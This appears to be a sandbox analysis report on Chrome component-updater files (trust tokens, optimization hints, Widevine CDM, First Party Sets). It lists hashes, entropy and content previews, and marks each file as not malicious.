C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1102327707\_metadata\verified_contents.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1865
Entropy (8bit):	6.0109403942089115
Encrypted:	false
SSDEEP:	48:p/hU+PQDAdtzakOyigpPPQO6D+REkMYcxxIokcF:RFPEQtzap/cwO6N8cnF
MD5:	ACEE7C14C716B46EFD59EC6545E8F426
SHA1:	431E29F8DD798D0B923B4A55782B50A6CECDA392
SHA-256:	A482A3897B1A410A02632B1A3058FD1EDAFC035691580862DA5066DCDEB85767
SHA-512:	384CDB4C2515D68671DD37204E92D43467FEEF54634FA2F072DF76E23594C94B770D2B68C25B9C84DAB2049DBBD5737BB6BC78F2E1C1019564E26A0DD286D9A1
Malicious:	false
Reputation:	low
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJMSUNFTlNFIiwicm9vdF9oYXNoIjoiUGIwc2tBVUxaUzFqWldTQnctV0hIRkltRlhVcExiZDlUcVkwR2ZHSHBWcyJ9LHsicGF0aCI6ImtleXMuanNvbiIsInJvb3RfaGFzaCI6IlE0aS1ZZnM1ZHJaMDE3TmVGaVBKSGlzSDNIYWNhdnFtZ0VleGg1SEdXalkifSx7InBhdGgiOiJtYW5pZmVzdC5qc29uIiwicm9vdF9oYXNoIjoiY3JxMGs4VllOU2RaSGRaWm16eVFLNjNpRkRtVENiRFdFSkItTXlkYmpjSSJ9XSwiZm9ybWF0IjoidHJlZWhhc2giLCJoYXNoX2Jsb2NrX3NpemUiOjQwOTZ9XSwiaXRlbV9pZCI6ImtpYWJoYWJqZGJramRwamJwaWdmb2RiZGptYmdsY29vIiwiaXRlbV92ZXJzaW9uIjoiMjAyNC4xMi4xNC4xIiwicHJvdG9jb2xfdmVyc2lvbiI6MX0","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"TtW-oeACb_UU2xuWWkL_6ro5U8G3QfG4oAqoU9dPwE_snn5EHDg4d8CynPCMfVyx-DVvlwN-WCT4NCkVZjxbtczN_mSy-_ohFCH1m8ZusxVlzs0jfZ7TiYTEnlrH9H4XhgR5yECIcvmzzFKV2CcIYyzCDjROnS7TT_7VC057oIzqIieKDvhzDXEZGq-X9d_qK3PysmtPEbT7alozTDxTmeEwoedCR6ZvWDHC5PoTXV2IKM0cZep-WN

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1102327707\keys.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6361
Entropy (8bit):	5.9791886723901255
Encrypted:	false
SSDEEP:	96:UXq6pG2GE+m0plhYvPuW+wkpTm+ozdswsDm4+uTagSfC3AQj+y:uNtGbm4lOvMwkoR9PuGs3gy
MD5:	B4434830C4BD318DBA6BD8CC29C9F023
SHA1:	A0F238822610C70CDF22FE08C8C4BC185CBEC61E
SHA-256:	272E290D97184D1AC0F4E4799893CB503FBA8ED6C8C503767E70458CBDA32070
SHA-512:	F2549945965757488ECD07E46249E426525C8FE771F9939F009819183AB909D1E79CBB3AECA4F937E799556B83E891BBB0858B60F31EC7E8D2D8FBB4CB00B335
Malicious:	false
Reputation:	low
Preview:	{"https://issuer.captchafox.com":{"PrivateStateTokenV1VOPRF":{"batchsize":1,"id":1,"keys":{"0":{"Y":"AAAAAQQiyE+SESbq7GU5rTx6tZO4tBOxljp+Oya2mU28O+YoALIyXlLLqnl/h5h95ExYSsOlmMIb8EdsJBTrCaDl/KIZSskrfMbZpjhShG0jwnbXojEHI9WaAxKLkX/A/DkyMEg=","expiry":"1734807628115000"},"1":{"Y":"AAAAAQRNtld+5LLBquS4bEJKJwlLw61tzIyqTNkvMVnUTu+YiphbdGrRCjeDTN9D3p1Tgpfmq0N/OKMBYWzDMEN8Km9p9s49c6N2ph4B1MV1m7Ogdj969MOsTw54Kc849oqDl8s=","expiry":"1734807628115000"},"2":{"Y":"AAAAAQSBWW003A3ORFURCZrWNnbEIH15yzk184DaLSebbGzRdyCYtAM1qhhVmXZyBtWTzh6Bfkk5rLPyE1xdQilofPBizF/QJsdaMU0GYhPW1sOU4xoKbmgd/XrnOoFqA2ETOuc=","expiry":"1734807628115000"},"3":{"Y":"AAAAAQSG/ftGdm5B6iwAmVsHt6s43xx3nRf/Vpx9GdeEt3jSTM8hHvyLE9FAEkinGjt4Fp5EjnkCdE96Cxz10nZJRrMApIrGhG5kAoDu4T8PjJPiFQFyHAOdTG7OJWi2NS/rl1A=","expiry":"1734807628115000"},"4":{"Y":"AAAAAQT36tqe550UP5A+4Eokt8iuPZEuWQc9cGJXd7zUCZzrsqtGu3PMcVbOj5DjC4W+yoyF3HqKOqdtiBWgcMsZOcyln/6jUKqf5tS9AoIHa9CC3kQB8ISQd3lhR5j+qWVY8ms=","expiry":"1734807628115000"},"5":{"Y":"AAAAAQQMjaLNCR

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1102327707\manifest.fingerprint

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.9691231055595435
Encrypted:	false
SSDEEP:	3:SC3TnfRWahk1C5SoCL3:SGTnfR7wXog
MD5:	00BB0BF4C9FE9AA9CDDAE91770EDCD28
SHA1:	F350A88149D03E4D0BA1B60A9EEAB9F3EABA259E
SHA-256:	434025617B33B3E7CBBE3FB173CF35668B61EB5D3386E07B929F820980B2C183
SHA-512:	4D67D60F745A66AE1607BF4D2BA5D9957E41D30E351FD501B4F95CFDFF0C9934873DE77B22AEEBEF9F8EB8EC7CD373D5E6CEA6C41542D7A94FD6AB8380A7EA47
Malicious:	false
Reputation:	low
Preview:	1.c0108c669f27b1c45f3895e1a2e7c9adf36da2707f23270611eb58c3be0f25ba

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1102327707\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	4.418776852063957
Encrypted:	false
SSDEEP:	3:rR6TAulhFphifFIPgS1kXng:F6VlMyPgS1kXg
MD5:	9E72659142381870C3C7DFE447D0E58E
SHA1:	BA27ED169D5AF065DABDE081179476BEB7E11DE2
SHA-256:	72BAB493C5583527591DD6599B3C902BADE214399309B0D610907E33275B8DC2
SHA-512:	B887EB30C09FA3C87945B83D8DBDDCEEE286011A1582C10B5B3CC7A4731B7FA7CB3689CB61BFEAD385C95902CAB397D0AA26BC26086D17CE414A4F40F0E16A01
Malicious:	false
Preview:	{. "manifest_version": 2,. "name": "trustToken",. "version": "2024.12.14.1".}

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1460670100\_metadata\verified_contents.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1766
Entropy (8bit):	6.0160217316828755
Encrypted:	false
SSDEEP:	48:p/hWrhOXVApSJkwkaky1U8uKx4ykgIixWztBj:RMrEVUvaDFx4ybIixWztBj
MD5:	E4F6EA0D7B4C27E3582F2E020109E559
SHA1:	BF49B4A96E4DD144FCC5052C1656F98BE2BCEA90
SHA-256:	157721565F61F0EA06BE8EA188D2842C02015C6A08286DEC3DE93E3956CF4C6E
SHA-512:	309BF554F43EE6E64E8B3F3BB88884B70C462EF9E9C0BD217F4910E1580208F8B9A3F83EC26EE7250A7DA1B23725CD338E96A2DA0FA250350D283681F00EB123
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJtYW5pZmVzdC5qc29uIiwicm9vdF9oYXNoIjoibHI0cWZUZEhXNUJseWF5UHNjZXJCN0JnZHBHbDJZc1hrc1lTS2JCSWNvcyJ9LHsicGF0aCI6Im9wdGltaXphdGlvbi1oaW50cy5wYiIsInJvb3RfaGFzaCI6IkhvUzQ1bmEyaGRUcTZsLV9kVVFIV0FnQ0dhUDVCYlJjRlNUenhJZF9rQ0kifV0sImZvcm1hdCI6InRyZWVoYXNoIiwiaGFzaF9ibG9ja19zaXplIjo0MDk2fV0sIml0ZW1faWQiOiJsbWVsZ2xlamhlbWVqZ2lucGJvYWdkZGdkZmJlcGdtcCIsIml0ZW1fdmVyc2lvbiI6IjQ3NyIsInByb3RvY29sX3ZlcnNpb24iOjF9","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"vYGhR-d3IGBDhOQuvTQtCz8cf5dhShH3jPIzqawl-ZeY5uk2MNfEdGa6Qu8IZNyOhQTCpM-AxhQAtQ2ifQyBh6bnyCWugFPytjg6sWJ8XiquVS2tvBfbVFsV8g76YK7IxMwqEPdCR8GC5R2eTHU_d8uALBjCPMyASK4bqaCEDgwdWSjloEskUxNwrqUedjlKPVK7a_z8VLg0cgslMgpMV8HSUR2wcDp87Hz6CI-CbnzIeQiSf-n0MoZxeZosCtd3o3XK0Q4bNjyQ8VUyReXuw2PRSKVBSDCQNxC8P6TwgCHoIhDUR5G_fPfehAq6dPjvQSxVSwprypB_rx5CD5uixeY8f

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1460670100\manifest.fingerprint

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.8045524533110497
Encrypted:	false
SSDEEP:	3:SRR3BpcjmGmCieAvMHK:SRR3BpcVBAT
MD5:	B2B227C377040DA7E148820FD2A75C42
SHA1:	94B06ED4F4D839C2565D9A7323C2D9FBA0856AC8
SHA-256:	8F46E7F724836158C0B03C561028065F128209CF67882C1A910A258BA1DD2D61
SHA-512:	E6538475786C6317BCDE46554909B05F393628E596CBFD6CF7EBEB7DB0558C41D6BECDB13DEB82952708D3E33DEEFBB92A5CE49C84CF909198EB171792D2764D
Malicious:	false
Preview:	1.cd34efed4e9d84933e9ec04fccbc6de4d7f774bfa04ae5867e7560b81ad4cc48

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1460670100\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	108
Entropy (8bit):	4.462631361764747
Encrypted:	false
SSDEEP:	3:rR6TAulhFphifFzIe4/+S1r3HcDKhtH8tAn:F6VlMQ/+S17SKH8tAn
MD5:	1B3621FAA2DEF24F342D5D730B55AD35
SHA1:	91CB143EC35D0DCB60ECCB478D31F0727A6B17D9
SHA-256:	96BE2A7D37475B9065C9AC8FB1C7AB07B0607691A5D98B1792C61229B048728B
SHA-512:	FFF370129A80FA77B328E0920820E0F4676B2977CC1C16504250480CDF0257AE4732980EE765A028E82D89F2A9089BC106677FC45E1AD65739B388DC7EF176BC
Malicious:	false
Preview:	{. "manifest_version": 2,. "name": "Optimization Hints",. "version": "477",. "ruleset_format": "1.0.0".}

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1460670100\optimization-hints.pb

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	53858
Entropy (8bit):	7.97637108782233
Encrypted:	false
SSDEEP:	1536:/zehGBKxdYm83YG3iHb8fZANCdX4SjsxQ9Ch:x0xW3YG3i78fZk67jssCh
MD5:	6C79DD49BA3C767443FA63512909F7D2
SHA1:	0E13FFCCF9D18E1E35B44136F3C2FC7479DEDD80
SHA-256:	CF94A1831A168C19D1D30F948BE2C9EA0741D54A92FF288F4A61CBFAB57C46FA
SHA-512:	D0E928DD0890D820AA69CD61A38C16E82A7DE8560DDD52791BA7378409E0B2B6536F71E3F04C608CEA5041A43AA8EB70BBA34AE0C29CDD2D2F05EF88547FCB94
Malicious:	false
Preview:	............I.....g2.I..jI..n).+..)...h.+.A7p..q.:S4.Z...O.. R..\|....Da.e.?..W.-..ni2.....[.....6%8....x..y".b.Y7^.n......%/...f..c../.CY....j..\|].b..+.f..].{S.s..J...\|..nn..G..jb).Mn..../....R%.Fm.....K.....&.n.P.]..M.q:E..#^..O.....+...%\|{....5d..............=....X......._...OS1...+.q...7..vzf.....(....iVp....7..."QA.k`......Q...Y../X4..`...<+.@.U...m .'.X6...-.aD....<..w..7bv.e......<~.J.d...i..7..o}x_...B.T....V.et....u.{/.....p6.....t.Y(a.E......t.....P..45.a...!B-......B.RY#H....E....%...I..a.....$...T....7;...y..`.l.p..kv..`..q]...z.9rX...Rb..Q.N..../.>....p.ah.........z.\.Y}2W..o.?..-6=y...2[:..t7(t)....^.H...cl"]F."..@'h....t..s..Pf..SA.yCs....IuT..=.6...{...X....,...}.....ddE.2............YU..HQ..h.i.v...;..b....}.]K..../O.....]S~.l.H...........&....~m....3..l.l*RN"..k..1f.x.$..n...P-..](.Z./.........9...WJ\. /.B.Q....h.R...e.............Fg]...........?.Z..iH.Kyxc.e.P...H.....1N.Ac.;.4..he..b.V.w..'.....Z...K.4......p...2..9.s.."

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_166897035\Google.Widevine.CDM.dll

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2877728
Entropy (8bit):	6.868480682648069
Encrypted:	false
SSDEEP:	49152:GB6BoH5sOI2CHusbKOdskuoHHVjcY94RNETO2WYA4oPToqnQ3dK5zuqvGKGxofFo:M67hlnVjcYGRNETO2WYA4oLoqnJuZI5
MD5:	477C17B6448695110B4D227664AA3C48
SHA1:	949FF1136E0971A0176F6ADEA8ADCC0DD6030F22
SHA-256:	CB190E7D1B002A3050705580DD51EBA895A19EB09620BDD48D63085D5D88031E
SHA-512:	1E267B01A78BE40E7A02612B331B1D9291DA8E4330DEA10BF786ACBC69F25E0BAECE45FB3BAFE1F4389F420EBAA62373E4F035A45E34EADA6F72C7C61D2302ED
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: , Detection: malicious, Browse Filename: Undelivered Messages.htm, Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: AllItems.htm, Detection: malicious, Browse Filename: #Employee-Letter.pdf, Detection: malicious, Browse Filename: index.html, Detection: malicious, Browse Filename: YF3YnL4ksc.exe, Detection: malicious, Browse Filename: aspweb88.exe, Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: 217469812STM.pdf, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....fd.........." ......(..........A&.......................................,.......,...`A.........................................V......V......`,......`+..p....+. )...p,......D.8....................C.(.....(.8...........p\..............................text.....(.......(................. ..`.rdata..h.....(.......(.............@..@.data....l......&.................@....pdata...p...`+..r.................@..@.00cfg..(.....+......p+.............@..@.gxfg....$....+..&...r+.............@..@.retplnel.... ,.......+..................tls.........0,.......+.............@....voltbl.D....@,.......+................._RDATA.......P,.......+.............@..@.rsrc........`,.......+.............@..@.reloc.......p,.......+.............@..B........................................................................................................................................

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_166897035\_metadata\verified_contents.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1778
Entropy (8bit):	6.02086725086136
Encrypted:	false
SSDEEP:	48:p/hCdQAdJjRkakCi0LXjX9mqjW6JmfQkNWQzXXf2gTs:RtQ1aaxXrjW6JuQEWQKas
MD5:	3E839BA4DA1FFCE29A543C5756A19BDF
SHA1:	D8D84AC06C3BA27CCEF221C6F188042B741D2B91
SHA-256:	43DAA4139D3ED90F4B4635BD4D32346EB8E8528D0D5332052FCDA8F7860DB729
SHA-512:	19B085A9CFEC4D6F1B87CC6BBEEB6578F9CBA014704D05C9114CFB0A33B2E7729AC67499048CB33823C884517CBBDC24AA0748A9BB65E9C67714E6116365F1AB
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJHb29nbGUuV2lkZXZpbmUuQ0RNLmRsbCIsInJvb3RfaGFzaCI6Im9ZZjVLQ2Z1ai1MYmdLYkQyWFdBS1E5Nkp1bTR1Q2dCZTRVeEpGSExSNWMifSx7InBhdGgiOiJtYW5pZmVzdC5qc29uIiwicm9vdF9oYXNoIjoiYk01YTJOU1d2RkY1LW9Tdml2eFdqdXVwZ05pblVGakdPQXRrLTBJcGpDZyJ9XSwiZm9ybWF0IjoidHJlZWhhc2giLCJoYXNoX2Jsb2NrX3NpemUiOjQwOTZ9XSwiaXRlbV9pZCI6Im5laWZhb2luZGdnZmNqaWNmZmtncG1ubHBwZWZmYWJkIiwiaXRlbV92ZXJzaW9uIjoiMS4wLjI3MzguMCIsInByb3RvY29sX3ZlcnNpb24iOjF9","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"KTPeHzS0ybFaz3_br3ASYWHjb6Ctul92067u2JMwtNYYm-4KxLiSkJZNBIzhm6hNSEW2p5kUEvHD0TjhhFGCZnWm9titj2bqJayCOAGxZb5BO74JJCRfy5Kwr1KSS4nvocsZepnHBmCiG2OV3by-Lyf1h1uU3X3bDfD92O0vJzrA8rwL2LrwIk-BolLo5nlM0I_MZwg8DhZ8SFBu9GGRVB2XrailDrv4SgupFE9gqA1HY6kjRjoyoAHbRRxZdBNNt9IKNdxNyaF9NcNRY8dAedNQ9Tw3YNp5jB7R9lcjO4knn58RdH2h_GiJ4l96StcXA4e7cqbJ77P-c

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_166897035\manifest.fingerprint

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.974403644129192
Encrypted:	false
SSDEEP:	3:SLVV8T+WSq2ykFDJp9qBn:SLVqZS5p0B
MD5:	D30A5BBC00F7334EEDE0795D147B2E80
SHA1:	78F3A6995856854CAD0C524884F74E182F9C3C57
SHA-256:	A08C1BC41DE319392676C7389048D8B1C7424C4B74D2F6466BCF5732B8D86642
SHA-512:	DACF60E959C10A3499D55DC594454858343BF6A309F22D73BDEE86B676D8D0CED10E86AC95ECD78E745E8805237121A25830301680BD12BFC7122A82A885FF4B
Malicious:	false
Preview:	1.c900ba9a2d8318263fd43782ee6fd5fb50bad78bf0eb2c972b5922c458af45ed

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_166897035\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	145
Entropy (8bit):	4.595307058143632
Encrypted:	false
SSDEEP:	3:rR6TAulhFphifFooG+HhFFKS18CWjhXLXGPQ3TRpvF/FHddTcplFHddTcVYA:F6VlM5PpKS18hRIA
MD5:	BBC03E9C7C5944E62EFC9C660B7BD2B6
SHA1:	83F161E3F49B64553709994B048D9F597CDE3DC6
SHA-256:	6CCE5AD8D496BC5179FA84AF8AFC568EEBA980D8A75058C6380B64FB42298C28
SHA-512:	FB80F091468A299B5209ACC30EDAF2001D081C22C3B30AAD422CBE6FEA7E5FE36A67A8E000D5DD03A30C60C30391C85FA31F3931E804C351AB0A71E9A978CC0F
Malicious:	false
Preview:	{. "manifest_version": 2,. "name": "windows-mf-cdm",. "version": "1.0.2738.0",. "accept_arch": [. "x64",. "x86_64",. "x86_64h". ].}

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1681393890\LICENSE

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1558
Entropy (8bit):	5.11458514637545
Encrypted:	false
SSDEEP:	48:OBOCrYJ4rYJVwUCLHDy43HV713XEyMmZ3teTHn:LCrYJ4rYJVwUCHZ3Z13XtdUTH
MD5:	EE002CB9E51BB8DFA89640A406A1090A
SHA1:	49EE3AD535947D8821FFDEB67FFC9BC37D1EBBB2
SHA-256:	3DBD2C90050B652D63656481C3E5871C52261575292DB77D4EA63419F187A55B
SHA-512:	D1FDCC436B8CA8C68D4DC7077F84F803A535BF2CE31D9EB5D0C466B62D6567B2C59974995060403ED757E92245DB07E70C6BDDBF1C3519FED300CC5B9BF9177C
Malicious:	false
Preview:	// Copyright 2015 The Chromium Authors. All rights reserved..//.// Redistribution and use in source and binary forms, with or without.// modification, are permitted provided that the following conditions are.// met:.//.// * Redistributions of source code must retain the above copyright.// notice, this list of conditions and the following disclaimer..// * Redistributions in binary form must reproduce the above.// copyright notice, this list of conditions and the following disclaimer.// in the documentation and/or other materials provided with the.// distribution..// * Neither the name of Google Inc. nor the names of its.// contributors may be used to endorse or promote products derived from.// this software without specific prior written permission..//.// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS.// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT.// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR.// A PARTICULAR

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1681393890\_metadata\verified_contents.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	6.018989605004616
Encrypted:	false
SSDEEP:	48:p/hUI1OwEU3AdIq7ak68O40E2szOxxUJ8BPFkf31U4PrHfqY3J5D:RnOwtQIq7aZ40E2sYUJAYRr/qYZ5D
MD5:	C4709C1D483C9233A3A66A7E157624EA
SHA1:	99A000EB5FE5CC1E94E3155EE075CD6E43DC7582
SHA-256:	225243DC75352D63B0B9B2F48C8AAA09D55F3FB9E385741B12A1956A941880D9
SHA-512:	B45E1FD999D1340CC5EB5A49A4CD967DC736EA3F4EC8B02227577CC3D1E903341BE3217FBB0B74765C72085AC51C63EEF6DCB169D137BBAF3CC49E21EA6468D7
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJMSUNFTlNFIiwicm9vdF9oYXNoIjoiUGIwc2tBVUxaUzFqWldTQnctV0hIRkltRlhVcExiZDlUcVkwR2ZHSHBWcyJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJVczFpOUt3Zm5uMThTVVR1RVItRXBDTTMwVzFkNTc0cGJwUlJSdGJYM0JVIn0seyJwYXRoIjoic2V0cy5qc29uIiwicm9vdF9oYXNoIjoiM0hiWThLc3poeEF6UDVSUU9fZEpvZGNwbEtpRXR0RWh2UmZMZEtjSTdjZyJ9XSwiZm9ybWF0IjoidHJlZWhhc2giLCJoYXNoX2Jsb2NrX3NpemUiOjQwOTZ9XSwiaXRlbV9pZCI6ImdvbnBlbWRna2pjZWNkZ2JuYWFiaXBwcGJtZ2ZnZ2JlIiwiaXRlbV92ZXJzaW9uIjoiMjAyNC4xMS44LjAiLCJwcm90b2NvbF92ZXJzaW9uIjoxfQ","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"lGxZ1-AH7F8MftKSBdZiFULmC8hZkIHy1_2XIoU81Z5mK0wHVwNV7-55CBTcuuvKjTje-AnKLDoG4S0A_Jeg4lSQK5V_Q4f6JVqp5Vj_ge86YkRZEv4m1bjKRY4N17SHobwuH8Hc_kAugFIlG1LIDHnrm1N7ZWIqo3fVlnVqgSstmvFXAhBazgs1UYRi3hPjPM6e1q1i2N1mIUbxLvG41frGo2QJ8W5J3buUjzs-0y250k-YkadKAR0

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1681393890\manifest.fingerprint

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.820000180714897
Encrypted:	false
SSDEEP:	3:SVzHL3phUmWRDNKydvgHVz:SBHLLUmWRbCp
MD5:	BBEC7670A2519FEB0627F17D0C0B5276
SHA1:	9C30B996F1B069F86EF7C0136DFAF7E614674DEA
SHA-256:	670A6F6BBADAB2C2BE63898525FCAF72E7454739E77C04D120BC1A46B6694CAC
SHA-512:	1ED4ED6AE2A2CBE86F9E8C6C7A2672EBB2F37DBE83D2BF09D875DB435ED63BF5F5CF60CA846865166F9A498095F6D61BD51B0A092E097430439E8A5A3A14CB15
Malicious:	false
Preview:	1.03cccbb22b17080279ea1707c9ab093c59f4f4dd09580c841cfa794cb372228d

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1681393890\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.462192586591686
Encrypted:	false
SSDEEP:	3:rR6TAulhFphifFCmMARWHJqS1kULJVPY:F6VlM8aRWpqS1kSJVg
MD5:	084E339C0C9FE898102815EAC9A7CDEA
SHA1:	6ABF7EAAA407D2EAB8706361E5A2E5F776D6C644
SHA-256:	52CD62F4AC1F9E7D7C4944EE111F84A42337D16D5DE7BE296E945146D6D7DC15
SHA-512:	0B67A89F3EBFF6FEC3796F481EC2AFBAC233CF64FDC618EC6BA1C12AE125F28B27EE09E8CD0FADB8F6C8785C83929EA6F751E0DDF592DD072AB2CF439BD28534
Malicious:	false
Preview:	{. "manifest_version": 2,. "name": "First Party Sets",. "version": "2024.11.8.0".}

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1681393890\sets.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9817
Entropy (8bit):	4.629347296880043
Encrypted:	false
SSDEEP:	96:Mon4mvC4qX19s1blbw/BNKLcxbdmf56MFJtRTGXvcxN43uP+8qJl:v5C4ql7BkIVmtRTGXvcxBsl
MD5:	8C702C686B703020BC0290BAFC90D7A0
SHA1:	EB08FF7885B4C1DE3EF3D61E40697C0C71903E27
SHA-256:	97D9E39021512305820F27B9662F0351E45639124F5BD29F0466E9072A9D0C62
SHA-512:	6137D0ED10E6A27924ED3AB6A0C5F9B21EB0E16A876447DADABD88338198F31BB9D89EF8F0630F4573EA34A24FB3FD3365D7EA78A97BA10028A0758E0A550739
Malicious:	false
Preview:	{"primary":"https://bild.de","associatedSites":["https://welt.de","https://autobild.de","https://computerbild.de","https://wieistmeineip.de"],"serviceSites":["https://www.asadcdn.com"]}.{"primary":"https://blackrock.com","associatedSites":["https://blackrockadvisorelite.it","https://cachematrix.com","https://efront.com","https://etfacademy.it","https://ishares.com"]}.{"primary":"https://cafemedia.com","associatedSites":["https://cardsayings.net","https://nourishingpursuits.com"]}.{"primary":"https://caracoltv.com","associatedSites":["https://noticiascaracol.com","https://bluradio.com","https://shock.co","https://bumbox.com","https://hjck.com"]}.{"primary":"https://carcostadvisor.com","ccTLDs":{"https://carcostadvisor.com":["https://carcostadvisor.be","https://carcostadvisor.fr"]}}.{"primary":"https://citybibleforum.org","associatedSites":["https://thirdspace.org.au"]}.{"primary":"https://cognitiveai.ru","associatedSites":["https://cognitive-ai.ru"]}.{"primary":"https://drimer.io","asso

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_204686775\_metadata\verified_contents.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1765
Entropy (8bit):	6.016932513650603
Encrypted:	false
SSDEEP:	48:p/hKAGj0FnAp7XgNGIaku9E5tPJXaWqkbszesM:R5Gj0FAlsaBmfPsRD3M
MD5:	6D1D175F88B64546105E3E7C31D1129A
SHA1:	75A1B56F55BB62B05365A0FDBFC7941DE77CBFAF
SHA-256:	A0BC246E8E160A9BB32FA60F4E7A04D148A17125F426509466031E07731FDF81
SHA-512:	5C80908331E30C7EAD67F7F6C5AB064B07626FD9C58925A0D2124D66B25C5AE2F218BDACFB68AFCB332E88EB297CFB7E0A7A9E5E1E54C9B7A510FEF095F9B54F
Malicious:	false
